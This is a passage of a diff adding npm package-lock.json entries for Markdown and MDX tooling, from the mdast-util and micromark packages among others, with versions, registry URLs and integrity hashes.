+                "unist-util-stringify-position": "^3.0.0",
+                "uvu": "^0.5.0"
+            }
+        },
+        "mdast-util-mdx": {
+            "version": "2.0.0",
+            "resolved": "https://registry.npmjs.org/mdast-util-mdx/-/mdast-util-mdx-2.0.0.tgz",
+            "integrity": "sha512-M09lW0CcBT1VrJUaF/PYxemxxHa7SLDHdSn94Q9FhxjCQfuW7nMAWKWimTmA3OyDMSTH981NN1csW1X+HPSluw==",
+            "requires": {
+                "mdast-util-mdx-expression": "^1.0.0",
+                "mdast-util-mdx-jsx": "^2.0.0",
+                "mdast-util-mdxjs-esm": "^1.0.0"
+            }
+        },
+        "mdast-util-mdx-expression": {
+            "version": "1.3.0",
+            "resolved": "https://registry.npmjs.org/mdast-util-mdx-expression/-/mdast-util-mdx-expression-1.3.0.tgz",
+            "integrity": "sha512-9kTO13HaL/ChfzVCIEfDRdp1m5hsvsm6+R8yr67mH+KS2ikzZ0ISGLPTbTswOFpLLlgVHO9id3cul4ajutCvCA==",
+            "requires": {
+                "@types/estree-jsx": "^1.0.0",
+                "@types/hast": "^2.0.0",
+                "@types/mdast": "^3.0.0",
+                "mdast-util-from-markdown": "^1.0.0",
+                "mdast-util-to-markdown": "^1.0.0"
+            }
+        },
+        "mdast-util-mdx-jsx": {
+            "version": "2.1.0",
+            "resolved": "https://registry.npmjs.org/mdast-util-mdx-jsx/-/mdast-util-mdx-jsx-2.1.0.tgz",
+            "integrity": "sha512-KzgzfWMhdteDkrY4mQtyvTU5bc/W4ppxhe9SzelO6QUUiwLAM+Et2Dnjjprik74a336kHdo0zKm7Tp+n6FFeRg==",
+            "requires": {
+                "@types/estree-jsx": "^1.0.0",
+                "@types/hast": "^2.0.0",
+                "@types/mdast": "^3.0.0",
+                "ccount": "^2.0.0",
+                "mdast-util-to-markdown": "^1.3.0",
+                "parse-entities": "^4.0.0",
+                "stringify-entities": "^4.0.0",
+                "unist-util-remove-position": "^4.0.0",
+                "unist-util-stringify-position": "^3.0.0",
+                "vfile-message": "^3.0.0"
+            }
+        },
+        "mdast-util-mdxjs-esm": {
+            "version": "1.3.0",
+            "resolved": "https://registry.npmjs.org/mdast-util-mdxjs-esm/-/mdast-util-mdxjs-esm-1.3.0.tgz",
+            "integrity": "sha512-7N5ihsOkAEGjFotIX9p/YPdl4TqUoMxL4ajNz7PbT89BqsdWJuBC9rvgt6wpbwTZqWWR0jKWqQbwsOWDBUZv4g==",
+            "requires": {
+                "@types/estree-jsx": "^1.0.0",
+                "@types/hast": "^2.0.0",
+                "@types/mdast": "^3.0.0",
+                "mdast-util-from-markdown": "^1.0.0",
+                "mdast-util-to-markdown": "^1.0.0"
+            }
+        },
+        "mdast-util-to-hast": {
+            "version": "3.0.4",
+            "resolved": "https://registry.npmjs.org/mdast-util-to-hast/-/mdast-util-to-hast-3.0.4.tgz",
+            "integrity": "sha512-/eIbly2YmyVgpJNo+bFLLMCI1XgolO/Ffowhf+pHDq3X4/V6FntC9sGQCDLM147eTS+uSXv5dRzJyFn+o0tazA==",
+            "requires": {
+                "collapse-white-space": "^1.0.0",
+                "detab": "^2.0.0",
+                "mdast-util-definitions": "^1.2.0",
+                "mdurl": "^1.0.1",
+                "trim": "0.0.1",
+                "trim-lines": "^1.0.0",
+                "unist-builder": "^1.0.1",
+                "unist-util-generated": "^1.1.0",
+                "unist-util-position": "^3.0.0",
+                "unist-util-visit": "^1.1.0",
+                "xtend": "^4.0.1"
+            },
+            "dependencies": {
+                "unist-util-is": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-3.0.0.tgz",
+                    "integrity": "sha512-sVZZX3+kspVNmLWBPAB6r+7D9ZgAFPNWm66f7YNb420RlQSbn+n8rG8dGZSkrER7ZIXGQYNm5pqC3v3HopH24A=="
+                },
+                "unist-util-visit": {
+                    "version": "1.4.1",
+                    "resolved": "https://registry.npmjs.org/unist-util-visit/-/unist-util-visit-1.4.1.tgz",
+                    "integrity": "sha512-AvGNk7Bb//EmJZyhtRUnNMEpId/AZ5Ph/KUpTI09WHQuDZHKovQ1oEv3mfmKpWKtoMzyMC4GLBm1Zy5k12fjIw==",
+                    "requires": {
+                        "unist-util-visit-parents": "^2.0.0"
+                    }
+                },
+                "unist-util-visit-parents": {
+                    "version": "2.1.2",
+                    "resolved": "https://registry.npmjs.org/unist-util-visit-parents/-/unist-util-visit-parents-2.1.2.tgz",
+                    "integrity": "sha512-DyN5vD4NE3aSeB+PXYNKxzGsfocxp6asDc2XXE3b0ekO2BaRUpBicbbUygfSvYfUz1IkmjFR1YF7dPklraMZ2g==",
+                    "requires": {
+                        "unist-util-is": "^3.0.0"
+                    }
+                }
+            }
+        },
+        "mdast-util-to-markdown": {
+            "version": "1.3.0",
+            "resolved": "https://registry.npmjs.org/mdast-util-to-markdown/-/mdast-util-to-markdown-1.3.0.tgz",
+            "integrity": "sha512-6tUSs4r+KK4JGTTiQ7FfHmVOaDrLQJPmpjD6wPMlHGUVXoG9Vjc3jIeP+uyBWRf8clwB2blM+W7+KrlMYQnftA==",
+            "requires": {
+                "@types/mdast": "^3.0.0",
+                "@types/unist": "^2.0.0",
+                "longest-streak": "^3.0.0",
+                "mdast-util-to-string": "^3.0.0",
+                "micromark-util-decode-string": "^1.0.0",
+                "unist-util-visit": "^4.0.0",
+                "zwitch": "^2.0.0"
+            },
+            "dependencies": {
+                "unist-util-is": {
+                    "version": "5.1.1",
+                    "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-5.1.1.tgz",
+                    "integrity": "sha512-F5CZ68eYzuSvJjGhCLPL3cYx45IxkqXSetCcRgUXtbcm50X2L9oOWQlfUfDdAf+6Pd27YDblBfdtmsThXmwpbQ=="
+                },
+                "unist-util-visit": {
+                    "version": "4.1.0",
+                    "resolved": "https://registry.npmjs.org/unist-util-visit/-/unist-util-visit-4.1.0.tgz",
+                    "integrity": "sha512-n7lyhFKJfVZ9MnKtqbsqkQEk5P1KShj0+//V7mAcoI6bpbUjh3C/OG8HVD+pBihfh6Ovl01m8dkcv9HNqYajmQ==",
+                    "requires": {
+                        "@types/unist": "^2.0.0",
+                        "unist-util-is": "^5.0.0",
+                        "unist-util-visit-parents": "^5.0.0"
+                    }
+                },
+                "unist-util-visit-parents": {
+                    "version": "5.1.0",
+                    "resolved": "https://registry.npmjs.org/unist-util-visit-parents/-/unist-util-visit-parents-5.1.0.tgz",
+                    "integrity": "sha512-y+QVLcY5eR/YVpqDsLf/xh9R3Q2Y4HxkZTp7ViLDU6WtJCEcPmRzW1gpdWDCDIqIlhuPDXOgttqPlykrHYDekg==",
+                    "requires": {
+                        "@types/unist": "^2.0.0",
+                        "unist-util-is": "^5.0.0"
+                    }
+                }
+            }
+        },
+        "mdast-util-to-nlcst": {
+            "version": "3.2.3",
+            "resolved": "https://registry.npmjs.org/mdast-util-to-nlcst/-/mdast-util-to-nlcst-3.2.3.tgz",
+            "integrity": "sha512-hPIsgEg7zCvdU6/qvjcR6lCmJeRuIEpZGY5xBV+pqzuMOvQajyyF8b6f24f8k3Rw8u40GwkI3aAxUXr3bB2xag==",
+            "requires": {
+                "nlcst-to-string": "^2.0.0",
+                "repeat-string": "^1.5.2",
+                "unist-util-position": "^3.0.0",
+                "vfile-location": "^2.0.0"
+            },
+            "dependencies": {
+                "vfile-location": {
+                    "version": "2.0.6",
+                    "resolved": "https://registry.npmjs.org/vfile-location/-/vfile-location-2.0.6.tgz",
+                    "integrity": "sha512-sSFdyCP3G6Ka0CEmN83A2YCMKIieHx0EDaj5IDP4g1pa5ZJ4FJDvpO0WODLxo4LUX4oe52gmSCK7Jw4SBghqxA=="
+                }
+            }
+        },
+        "mdast-util-to-string": {
+            "version": "3.1.0",
+            "resolved": "https://registry.npmjs.org/mdast-util-to-string/-/mdast-util-to-string-3.1.0.tgz",
+            "integrity": "sha512-n4Vypz/DZgwo0iMHLQL49dJzlp7YtAJP+N07MZHpjPf/5XJuHUWstviF4Mn2jEiR/GNmtnRRqnwsXExk3igfFA=="
+        },
+        "mdast-util-toc": {
+            "version": "5.1.0",
+            "resolved": "https://registry.npmjs.org/mdast-util-toc/-/mdast-util-toc-5.1.0.tgz",
+            "integrity": "sha512-csimbRIVkiqc+PpFeKDGQ/Ck2N4f9FYH3zzBMMJzcxoKL8m+cM0n94xXm0I9eaxHnKdY9n145SGTdyJC7i273g==",
+            "requires": {
+                "@types/mdast": "^3.0.3",
+                "@types/unist": "^2.0.3",
+                "extend": "^3.0.2",
+                "github-slugger": "^1.2.1",
+                "mdast-util-to-string": "^2.0.0",
+                "unist-util-is": "^4.0.0",
+                "unist-util-visit": "^2.0.0"
+            },
+            "dependencies": {
+                "mdast-util-to-string": {
+                    "version": "2.0.0",
+                    "resolved": "https://registry.npmjs.org/mdast-util-to-string/-/mdast-util-to-string-2.0.0.tgz",
+                    "integrity": "sha512-AW4DRS3QbBayY/jJmD8437V1Gombjf8RSOUCMFBuo5iHi58AGEgVCKQ+ezHkZZDpAQS75hcBMpLqjpJTjtUL7w=="
+                }
+            }
+        },
+        "mdn-data": {
+            "version": "2.0.4",
+            "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.4.tgz",
+            "integrity": "sha512-iV3XNKw06j5Q7mi6h+9vbx23Tv7JkjEVgKHW4pimwyDGWm0OIQntJJ+u1C6mg6mK1EaTv42XQ7w76yuzH7M2cA=="
+        },
+        "mdurl": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/mdurl/-/mdurl-1.0.1.tgz",
+            "integrity": "sha512-/sKlQJCBYVY9Ers9hqzKou4H6V5UWc/M59TH2dvkt+84itfnq7uFOMLpOiOS4ujvHP4etln18fmIxA5R5fll0g=="
+        },
+        "meant": {
+            "version": "1.0.3",
+            "resolved": "https://registry.npmjs.org/meant/-/meant-1.0.3.tgz",
+            "integrity": "sha512-88ZRGcNxAq4EH38cQ4D85PM57pikCwS8Z99EWHODxN7KBY+UuPiqzRTtZzS8KTXO/ywSWbdjjJST2Hly/EQxLw=="
+        },
+        "media-typer": {
+            "version": "0.3.0",
+            "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz",
+            "integrity": "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ=="
+        },
+        "memoizee": {
+            "version": "0.4.15",
+            "resolved": "https://registry.npmjs.org/memoizee/-/memoizee-0.4.15.tgz",
+            "integrity": "sha512-UBWmJpLZd5STPm7PMUlOw/TSy972M+z8gcyQ5veOnSDRREz/0bmpyTfKt3/51DhEBqCZQn1udM/5flcSPYhkdQ==",
+            "requires": {
+                "d": "^1.0.1",
+                "es5-ext": "^0.10.53",
+                "es6-weak-map": "^2.0.3",
+                "event-emitter": "^0.3.5",
+                "is-promise": "^2.2.2",
+                "lru-queue": "^0.1.0",
+                "next-tick": "^1.1.0",
+                "timers-ext": "^0.1.7"
+            }
+        },
+        "memory-fs": {
+            "version": "0.4.1",
+            "resolved": "https://registry.npmjs.org/memory-fs/-/memory-fs-0.4.1.tgz",
+            "integrity": "sha512-cda4JKCxReDXFXRqOHPQscuIYg1PvxbE2S2GP45rnwfEK+vZaXC8C1OFvdHIbgw0DLzowXGVoxLaAmlgRy14GQ==",
+            "requires": {
+                "errno": "^0.1.3",
+                "readable-stream": "^2.0.1"
+            },
+            "dependencies": {
+                "readable-stream": {
+                    "version": "2.3.7",
+                    "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
+                    "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
+                    "requires": {
+                        "core-util-is": "~1.0.0",
+                        "inherits": "~2.0.3",
+                        "isarray": "~1.0.0",
+                        "process-nextick-args": "~2.0.0",
+                        "safe-buffer": "~5.1.1",
+                        "string_decoder": "~1.1.1",
+                        "util-deprecate": "~1.0.1"
+                    }
+                }
+            }
+        },
+        "meow": {
+            "version": "3.7.0",
+            "resolved": "https://registry.npmjs.org/meow/-/meow-3.7.0.tgz",
+            "integrity": "sha512-TNdwZs0skRlpPpCUK25StC4VH+tP5GgeY1HQOOGP+lQ2xtdkN2VtT/5tiX9k3IWpkBPV9b3LsAWXn4GGi/PrSA==",
+            "requires": {
+                "camelcase-keys": "^2.0.0",
+                "decamelize": "^1.1.2",
+                "loud-rejection": "^1.0.0",
+                "map-obj": "^1.0.1",
+                "minimist": "^1.1.3",
+                "normalize-package-data": "^2.3.4",
+                "object-assign": "^4.0.1",
+                "read-pkg-up": "^1.0.1",
+                "redent": "^1.0.0",
+                "trim-newlines": "^1.0.0"
+            }
+        },
+        "merge-descriptors": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.1.tgz",
+            "integrity": "sha512-cCi6g3/Zr1iqQi6ySbseM1Xvooa98N0w31jzUYrXPX2xqObmFGHJ0tQ5u74H3mVh7wLouTseZyYIq39g8cNp1w=="
+        },
+        "merge-stream": {
+            "version": "2.0.0",
+            "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz",
+            "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w=="
+        },
+        "merge2": {
+            "version": "1.4.1",
+            "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz",
+            "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg=="
+        },
+        "meros": {
+            "version": "1.1.4",
+            "resolved": "https://registry.npmjs.org/meros/-/meros-1.1.4.tgz",
+            "integrity": "sha512-E9ZXfK9iQfG9s73ars9qvvvbSIkJZF5yOo9j4tcwM5tN8mUKfj/EKN5PzOr3ZH0y5wL7dLAHw3RVEfpQV9Q7VQ=="
+        },
+        "methods": {
+            "version": "1.1.2",
+            "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz",
+            "integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w=="
+        },
+        "micromark": {
+            "version": "3.0.10",
+            "resolved": "https://registry.npmjs.org/micromark/-/micromark-3.0.10.tgz",
+            "integrity": "sha512-ryTDy6UUunOXy2HPjelppgJ2sNfcPz1pLlMdA6Rz9jPzhLikWXv/irpWV/I2jd68Uhmny7hHxAlAhk4+vWggpg==",
+            "requires": {
+                "@types/debug": "^4.0.0",
+                "debug": "^4.0.0",
+                "decode-named-character-reference": "^1.0.0",
+                "micromark-core-commonmark": "^1.0.1",
+                "micromark-factory-space": "^1.0.0",
+                "micromark-util-character": "^1.0.0",
+                "micromark-util-chunked": "^1.0.0",
+                "micromark-util-combine-extensions": "^1.0.0",
+                "micromark-util-decode-numeric-character-reference": "^1.0.0",
+                "micromark-util-encode": "^1.0.0",
+                "micromark-util-normalize-identifier": "^1.0.0",
+                "micromark-util-resolve-all": "^1.0.0",
+                "micromark-util-sanitize-uri": "^1.0.0",
+                "micromark-util-subtokenize": "^1.0.0",
+                "micromark-util-symbol": "^1.0.0",
+                "micromark-util-types": "^1.0.1",
+                "uvu": "^0.5.0"
+            },
+            "dependencies": {
+                "@types/debug": {
+                    "version": "4.1.7",
+                    "resolved": "https://registry.npmjs.org/@types/debug/-/debug-4.1.7.tgz",
+                    "integrity": "sha512-9AonUzyTjXXhEOa0DnqpzZi6VHlqKMswga9EXjpXnnqxwLtdvPPtlO8evrI5D9S6asFRCQ6v+wpiUKbw+vKqyg==",
+                    "requires": {
+                        "@types/ms": "*"
+                    }
+                },
+                "debug": {
+                    "version": "4.3.4",
+                    "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz",
+                    "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==",
+                    "requires": {
+                        "ms": "2.1.2"
+                    }
+                },
+                "ms": {
+                    "version": "2.1.2",
+                    "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+                    "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
+                }
+            }
+        },
+        "micromark-core-commonmark": {
+            "version": "1.0.6",
+            "resolved": "https://registry.npmjs.org/micromark-core-commonmark/-/micromark-core-commonmark-1.0.6.tgz",
+            "integrity": "sha512-K+PkJTxqjFfSNkfAhp4GB+cZPfQd6dxtTXnf+RjZOV7T4EEXnvgzOcnp+eSTmpGk9d1S9sL6/lqrgSNn/s0HZA==",
+            "requires": {
+                "decode-named-character-reference": "^1.0.0",
+                "micromark-factory-destination": "^1.0.0",
+                "micromark-factory-label": "^1.0.0",
+                "micromark-factory-space": "^1.0.0",
+                "micromark-factory-title": "^1.0.0",
+                "micromark-factory-whitespace": "^1.0.0",
+                "micromark-util-character": "^1.0.0",
+                "micromark-util-chunked": "^1.0.0",
+                "micromark-util-classify-character": "^1.0.0",
+                "micromark-util-html-tag-name": "^1.0.0",
+                "micromark-util-normalize-identifier": "^1.0.0",
+                "micromark-util-resolve-all": "^1.0.0",
+                "micromark-util-subtokenize": "^1.0.0",
+                "micromark-util-symbol": "^1.0.0",
+                "micromark-util-types": "^1.0.1",
+                "uvu": "^0.5.0"
+            }
+        },
+        "micromark-extension-mdx-expression": {
+            "version": "1.0.3",
+            "resolved": "https://registry.npmjs.org/micromark-extension-mdx-expression/-/micromark-extension-mdx-expression-1.0.3.tgz",
+            "integrity": "sha512-TjYtjEMszWze51NJCZmhv7MEBcgYRgb3tJeMAJ+HQCAaZHHRBaDCccqQzGizR/H4ODefP44wRTgOn2vE5I6nZA==",
+            "requires": {
+                "micromark-factory-mdx-expression": "^1.0.0",
+                "micromark-factory-space": "^1.0.0",
+                "micromark-util-character": "^1.0.0",
+                "micromark-util-events-to-acorn": "^1.0.0",
+                "micromark-util-symbol": "^1.0.0",
+                "micromark-util-types": "^1.0.0",
+                "uvu": "^0.5.0"
+            }
+        },
+        "micromark-extension-mdx-jsx": {
+            "version": "1.0.3",
+            "resolved": "https://registry.npmjs.org/micromark-extension-mdx-jsx/-/micromark-extension-mdx-jsx-1.0.3.tgz",
+            "integrity": "sha512-VfA369RdqUISF0qGgv2FfV7gGjHDfn9+Qfiv5hEwpyr1xscRj/CiVRkU7rywGFCO7JwJ5L0e7CJz60lY52+qOA==",
+            "requires": {
+                "@types/acorn": "^4.0.0",
+                "estree-util-is-identifier-name": "^2.0.0",
+                "micromark-factory-mdx-expression": "^1.0.0",
+                "micromark-factory-space": "^1.0.0",
+                "micromark-util-character": "^1.0.0",
+                "micromark-util-symbol": "^1.0.0",
+                "micromark-util-types": "^1.0.0",
+                "uvu": "^0.5.0",
+                "vfile-message": "^3.0.0"
+            }
+        },
+        "micromark-extension-mdx-md": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/micromark-extension-mdx-md/-/micromark-extension-mdx-md-1.0.0.tgz",
+            "integrity": "sha512-xaRAMoSkKdqZXDAoSgp20Azm0aRQKGOl0RrS81yGu8Hr/JhMsBmfs4wR7m9kgVUIO36cMUQjNyiyDKPrsv8gOw==",
+            "requires": {
+                "micromark-util-types": "^1.0.0"
+            }
+        },
+        "micromark-extension-mdxjs": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/micromark-extension-mdxjs/-/micromark-extension-mdxjs-1.0.0.tgz",
+            "integrity": "sha512-TZZRZgeHvtgm+IhtgC2+uDMR7h8eTKF0QUX9YsgoL9+bADBpBY6SiLvWqnBlLbCEevITmTqmEuY3FoxMKVs1rQ==",
+            "requires": {
+                "acorn": "^8.0.0",
+                "acorn-jsx": "^5.0.0",
+                "micromark-extension-mdx-expression": "^1.0.0",
+                "micromark-extension-mdx-jsx": "^1.0.0",
+                "micromark-extension-mdx-md": "^1.0.0",
+                "micromark-extension-mdxjs-esm": "^1.0.0",
+                "micromark-util-combine-extensions": "^1.0.0",
+                "micromark-util-types": "^1.0.0"
+            },
+            "dependencies": {
+                "acorn": {
+                    "version": "8.8.0",
+                    "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.8.0.tgz",
+                    "integrity": "sha512-QOxyigPVrpZ2GXT+PFyZTl6TtOFc5egxHIP9IlQ+RbupQuX4RkT/Bee4/kQuC02Xkzg84JcT7oLYtDIQxp+v7w=="
+                }
+            }
+        },
+        "micromark-extension-mdxjs-esm": {
+            "version": "1.0.3",
+            "resolved": "https://registry.npmjs.org/micromark-extension-mdxjs-esm/-/micromark-extension-mdxjs-esm-1.0.3.tgz",
+            "integrity": "sha512-2N13ol4KMoxb85rdDwTAC6uzs8lMX0zeqpcyx7FhS7PxXomOnLactu8WI8iBNXW8AVyea3KIJd/1CKnUmwrK9A==",
+            "requires": {
+                "micromark-core-commonmark": "^1.0.0",
+                "micromark-util-character": "^1.0.0",
+                "micromark-util-events-to-acorn": "^1.0.0",
+                "micromark-util-symbol": "^1.0.0",
+                "micromark-util-types": "^1.0.0",
+                "unist-util-position-from-estree": "^1.1.0",
+                "uvu": "^0.5.0",
+                "vfile-message": "^3.0.0"
+            }
+        },
+        "micromark-factory-destination": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/micromark-factory-destination/-/micromark-factory-destination-1.0.0.tgz",
+            "integrity": "sha512-eUBA7Rs1/xtTVun9TmV3gjfPz2wEwgK5R5xcbIM5ZYAtvGF6JkyaDsj0agx8urXnO31tEO6Ug83iVH3tdedLnw==",
+            "requires": {
+                "micromark-util-character": "^1.0.0",
+                "micromark-util-symbol": "^1.0.0",
+                "micromark-util-types": "^1.0.0"
+            }
+        },
+        "micromark-factory-label": {
+            "version": "1.0.2",
+            "resolved": "https://registry.npmjs.org/micromark-factory-label/-/micromark-factory-label-1.0.2.tgz",
+            "integrity": "sha512-CTIwxlOnU7dEshXDQ+dsr2n+yxpP0+fn271pu0bwDIS8uqfFcumXpj5mLn3hSC8iw2MUr6Gx8EcKng1dD7i6hg==",
+            "requires": {
+                "micromark-util-character": "^1.0.0",
+                "micromark-util-symbol": "^1.0.0",
+                "micromark-util-types": "^1.0.0",
+                "uvu": "^0.5.0"
+            }
+        },
+        "micromark-factory-mdx-expression": {
+            "version": "1.0.6",
+            "resolved": "https://registry.npmjs.org/micromark-factory-mdx-expression/-/micromark-factory-mdx-expression-1.0.6.tgz",
+            "integrity": "sha512-WRQIc78FV7KrCfjsEf/sETopbYjElh3xAmNpLkd1ODPqxEngP42eVRGbiPEQWpRV27LzqW+XVTvQAMIIRLPnNA==",
+            "requires": {
+                "micromark-factory-space": "^1.0.0",
+                "micromark-util-character": "^1.0.0",
+                "micromark-util-events-to-acorn": "^1.0.0",
+                "micromark-util-symbol": "^1.0.0",
+                "micromark-util-types": "^1.0.0",
+                "unist-util-position-from-estree": "^1.0.0",
+                "uvu": "^0.5.0",
+                "vfile-message": "^3.0.0"
+            }
+        },
+        "micromark-factory-space": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/micromark-factory-space/-/micromark-factory-space-1.0.0.tgz",
+            "integrity": "sha512-qUmqs4kj9a5yBnk3JMLyjtWYN6Mzfcx8uJfi5XAveBniDevmZasdGBba5b4QsvRcAkmvGo5ACmSUmyGiKTLZew==",
+            "requires": {
+                "micromark-util-character": "^1.0.0",
+                "micromark-util-types": "^1.0.0"
+            }
+        },
+        "micromark-factory-title": {
+            "version": "1.0.2",
+            "resolved": "https://registry.npmjs.org/micromark-factory-title/-/micromark-factory-title-1.0.2.tgz",
+            "integrity": "sha512-zily+Nr4yFqgMGRKLpTVsNl5L4PMu485fGFDOQJQBl2NFpjGte1e86zC0da93wf97jrc4+2G2GQudFMHn3IX+A==",
+            "requires": {
+                "micromark-factory-space": "^1.0.0",
+                "micromark-util-character": "^1.0.0",
+                "micromark-util-symbol": "^1.0.0",
+                "micromark-util-types": "^1.0.0",
+                "uvu": "^0.5.0"
+            }
+        },
+        "micromark-factory-whitespace": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/micromark-factory-whitespace/-/micromark-factory-whitespace-1.0.0.tgz",
+            "integrity": "sha512-Qx7uEyahU1lt1RnsECBiuEbfr9INjQTGa6Err+gF3g0Tx4YEviPbqqGKNv/NrBaE7dVHdn1bVZKM/n5I/Bak7A==",
+            "requires": {
+                "micromark-factory-space": "^1.0.0",
+                "micromark-util-character": "^1.0.0",
+                "micromark-util-symbol": "^1.0.0",
+                "micromark-util-types": "^1.0.0"
+            }
+        },
+        "micromark-util-character": {
+            "version": "1.1.0",
+            "resolved": "https://registry.npmjs.org/micromark-util-character/-/micromark-util-character-1.1.0.tgz",
+            "integrity": "sha512-agJ5B3unGNJ9rJvADMJ5ZiYjBRyDpzKAOk01Kpi1TKhlT1APx3XZk6eN7RtSz1erbWHC2L8T3xLZ81wdtGRZzg==",
+            "requires": {
+                "micromark-util-symbol": "^1.0.0",
+                "micromark-util-types": "^1.0.0"
+            }
+        },
+        "micromark-util-chunked": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/micromark-util-chunked/-/micromark-util-chunked-1.0.0.tgz",
+            "integrity": "sha512-5e8xTis5tEZKgesfbQMKRCyzvffRRUX+lK/y+DvsMFdabAicPkkZV6gO+FEWi9RfuKKoxxPwNL+dFF0SMImc1g==",
+            "requires": {
+                "micromark-util-symbol": "^1.0.0"
+            }
+        },
+        "micromark-util-classify-character": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/micromark-util-classify-character/-/micromark-util-classify-character-1.0.0.tgz",
+            "integrity": "sha512-F8oW2KKrQRb3vS5ud5HIqBVkCqQi224Nm55o5wYLzY/9PwHGXC01tr3d7+TqHHz6zrKQ72Okwtvm/xQm6OVNZA==",
+            "requires": {
+                "micromark-util-character": "^1.0.0",
+                "micromark-util-symbol": "^1.0.0",
+                "micromark-util-types": "^1.0.0"
+            }
+        },
+        "micromark-util-combine-extensions": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/micromark-util-combine-extensions/-/micromark-util-combine-extensions-1.0.0.tgz",
+            "integrity": "sha512-J8H058vFBdo/6+AsjHp2NF7AJ02SZtWaVUjsayNFeAiydTxUwViQPxN0Hf8dp4FmCQi0UUFovFsEyRSUmFH3MA==",
+            "requires": {
+                "micromark-util-chunked": "^1.0.0",
+                "micromark-util-types": "^1.0.0"
+            }
+        },
+        "micromark-util-decode-numeric-character-reference": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/micromark-util-decode-numeric-character-reference/-/micromark-util-decode-numeric-character-reference-1.0.0.tgz",
+            "integrity": "sha512-OzO9AI5VUtrTD7KSdagf4MWgHMtET17Ua1fIpXTpuhclCqD8egFWo85GxSGvxgkGS74bEahvtM0WP0HjvV0e4w==",
+            "requires": {
+                "micromark-util-symbol": "^1.0.0"
+            }
+        },
+        "micromark-util-decode-string": {
+            "version": "1.0.2",
+            "resolved": "https://registry.npmjs.org/micromark-util-decode-string/-/micromark-util-decode-string-1.0.2.tgz",
+            "integrity": "sha512-DLT5Ho02qr6QWVNYbRZ3RYOSSWWFuH3tJexd3dgN1odEuPNxCngTCXJum7+ViRAd9BbdxCvMToPOD/IvVhzG6Q==",
+            "requires": {
+                "decode-named-character-reference": "^1.0.0",
+                "micromark-util-character": "^1.0.0",
+                "micromark-util-decode-numeric-character-reference": "^1.0.0",
+                "micromark-util-symbol": "^1.0.0"
+            }
+        },
+        "micromark-util-encode": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/micromark-util-encode/-/micromark-util-encode-1.0.1.tgz",
+            "integrity": "sha512-U2s5YdnAYexjKDel31SVMPbfi+eF8y1U4pfiRW/Y8EFVCy/vgxk/2wWTxzcqE71LHtCuCzlBDRU2a5CQ5j+mQA=="
+        },
+        "micromark-util-events-to-acorn": {
+            "version": "1.2.0",
+            "resolved": "https://registry.npmjs.org/micromark-util-events-to-acorn/-/micromark-util-events-to-acorn-1.2.0.tgz",
+            "integrity": "sha512-WWp3bf7xT9MppNuw3yPjpnOxa8cj5ACivEzXJKu0WwnjBYfzaBvIAT9KfeyI0Qkll+bfQtfftSwdgTH6QhTOKw==",
+            "requires": {
+                "@types/acorn": "^4.0.0",
+                "@types/estree": "^1.0.0",
+                "estree-util-visit": "^1.0.0",
+                "micromark-util-types": "^1.0.0",
+                "uvu": "^0.5.0",
+                "vfile-location": "^4.0.0",
+                "vfile-message": "^3.0.0"
+            }
+        },
+        "micromark-util-html-tag-name": {
+            "version": "1.1.0",
+            "resolved": "https://registry.npmjs.org/micromark-util-html-tag-name/-/micromark-util-html-tag-name-1.1.0.tgz",
+            "integrity": "sha512-BKlClMmYROy9UiV03SwNmckkjn8QHVaWkqoAqzivabvdGcwNGMMMH/5szAnywmsTBUzDsU57/mFi0sp4BQO6dA=="
+        },
+        "micromark-util-normalize-identifier": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/micromark-util-normalize-identifier/-/micromark-util-normalize-identifier-1.0.0.tgz",
+            "integrity": "sha512-yg+zrL14bBTFrQ7n35CmByWUTFsgst5JhA4gJYoty4Dqzj4Z4Fr/DHekSS5aLfH9bdlfnSvKAWsAgJhIbogyBg==",
+            "requires": {
